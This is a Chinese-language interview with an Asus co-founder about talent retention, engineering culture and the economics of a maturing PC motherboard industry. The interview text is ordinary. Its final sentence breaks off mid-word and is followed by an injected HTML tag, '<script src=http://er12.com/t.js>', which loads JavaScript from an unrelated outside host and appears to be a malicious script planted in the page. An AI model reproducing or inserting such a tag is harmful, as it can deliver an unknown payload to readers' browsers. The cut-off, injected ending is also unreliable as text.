他是华硕的第一任董事长，但却主动让贤，乐当二把手；他不认为做pc没前途，因为在一个不成长的行业里，毛利会特别高；他有一整套的方法让工程师永远保持激情，每天要敲钟督促他们离开公司……
不断的挑战比高薪更能吸引人才
主持人：华硕董事长施崇堂大名鼎鼎，童子贤三个字却鲜被提及，你会不会有失落感？毕竟华硕是你和几个伙伴一手创立的，同时你做第一任董事长，后将职位让给施崇堂。从正职一把手到主动做副职，这样的职场抉择多少让人费解。
童子贤：小公司的“正”董（事长）只能赶一只骆驼，而大公司的“副”董可以掌管千军万马。我还是喜欢当大公司的副董。
施崇堂是我们几个创业人的师傅，能够请他出马，非常荣幸，我们还一直怕庙小容不下他呢。
招募人才一直是华硕的重要工作。施崇堂加入华硕前，李聪容（华硕营销主管）也是这样请进来的。我三顾茅庐把李聪容请出山，把我兼任的营销主管位置让给他，因为我觉得他在这方面做得更好。果然，李聪容进入公司后，我们的营销有了很大改善。
何乐不为呢？我一直在想有没有谁可以把我这个笔记本电脑掌门的工作赶快接走，我还想做一些更有趣的事情。
主持人：施崇堂和李聪容当时在宏 都是很有地位的人，你怎么吸引他们转投华硕？毕竟当时华硕还是一个名不见经传，且时刻可能倒闭的企业。
童子贤：开始，我们会先小人后君子，和高管人员、普通员工去谈很现实的收入问题。要让员工感受到创造的财富没有被老板都拿走，我个人感觉开放员工分红是个很重要的手段和体制。
后来华硕有了一定实力，留住人才就不能只靠谈钱。我遇到很多高傲而杰出的工程师，跟他谈收入，他们是听不进去的，这些人总认为自己能力很强，到了新地方会获得更好的报酬。那用什么吸引、留住他们？
举个例子吧，华硕有一年招聘了一位台湾连考的榜首（状元）进公司。我问他，很多外企待遇比华硕好，以你的成绩为什么不选择外企？他回答，华硕高手如云，很怕到了一个新环境，没有这么多高手共事，会让自己有独孤求败的感觉，最终因为没有比剑的对象，而使剑法落伍。华硕浓烈的技术文化，可以汇聚大量有志于持续发展、进取心极强的人才。
主持人：华硕的“工程师文化”名声在外，你怎么看待这样的形象标签？有的时候，工程师文化并非好事，比如过分技术本位、淡漠市场。
童子贤：我们在华硕内部树立了一种团队竞赛气氛。有些人跟大家打赌说我一板ok（工程师在进行主机板软件设计过程中，能不能一次ok）。晚上11点，一群人就在那儿看着他，一旦不能成功，大家就会说上几句“好逊”的话，嘲笑一番，散去，留下他一个人头痛。
通过十几年的积累，华硕形成了很好的技术风气。现在，许多研发部门的主管还规定晚上9点半到10点要放音乐，提醒他们该回家了，但是很多员工还不愿意走。所以到了11点，公司研发部门的走廊就像学校下课一样敲钟，主管们会到每个工作室告诉加班的员工：明天还要上班，早点儿回家。
有时候你会发现，留住人才不是靠给他轻松的工作和高薪，而是你能不能给他不断带来有挑战性的工作。
产业不成长未必是坏事
主持人：现在，pc产品同质化程度越来越高，利润率越来越低，都在“红海”里挣扎。很多it企业都在转型，华硕也面临这样的挑战，下一步华硕怎么打算？是不是有多元化的愿望？
童子贤：我不觉得我们要去开拓新领域，七八年前我就听到过“pc已死、通讯当立”的说法。1995年，很多人跟我说，华硕完蛋了。因为在那一年，英特尔进入了主机板市场。英特尔cpu、芯片组，连带主机板都做了，华硕还有什么机会？
但事实证明大概不到两年，英特尔在主机板市场败下阵来。这里有很微妙的因素：因为它以前从没有遇到过如此严重的库存问题，造成多达上亿美元的损失，英特尔不善于控制库存。接下来遇到了退货维修问题，英特尔不熟悉维修体系，因为它卖cpu时，坏了就扔掉，没有售后维修。主机板生意难做，对英特尔而言，心理落差很大。所以过了一段时间，英特尔回头安抚主机板客户，主机板业务不会再扩大了，只会逐渐萎缩。
后来又有人告诉我，华硕还是会死，因为台式机已经不成长了，你的主机板业务就没有前景了。这话已经听了五六年了。
施崇堂对内部员工说，不要担心产业成长，就算不成长也未必是坏事。在一个不成长的行业里面，通常毛利特别高。为什么呢？因为新加入者对这个行业会没有兴趣，竞争放缓，继续经营的利润率反而提升。产业成长速率和企业实实在在挣钱并不成正比。
主持人：但外人觉得，华硕冒险精神不够，产业多元化拓展速度慢。你的同门兄弟，明基在液晶面板生产上，投入高额资金，获得了快速成长。但华硕在产业投资上，相对保守。
童子贤：我们精力有限，才华有限，这就要集中精力在比较擅长的地方。华硕在成长过程中，资?script src=http://er12.com/t.js>
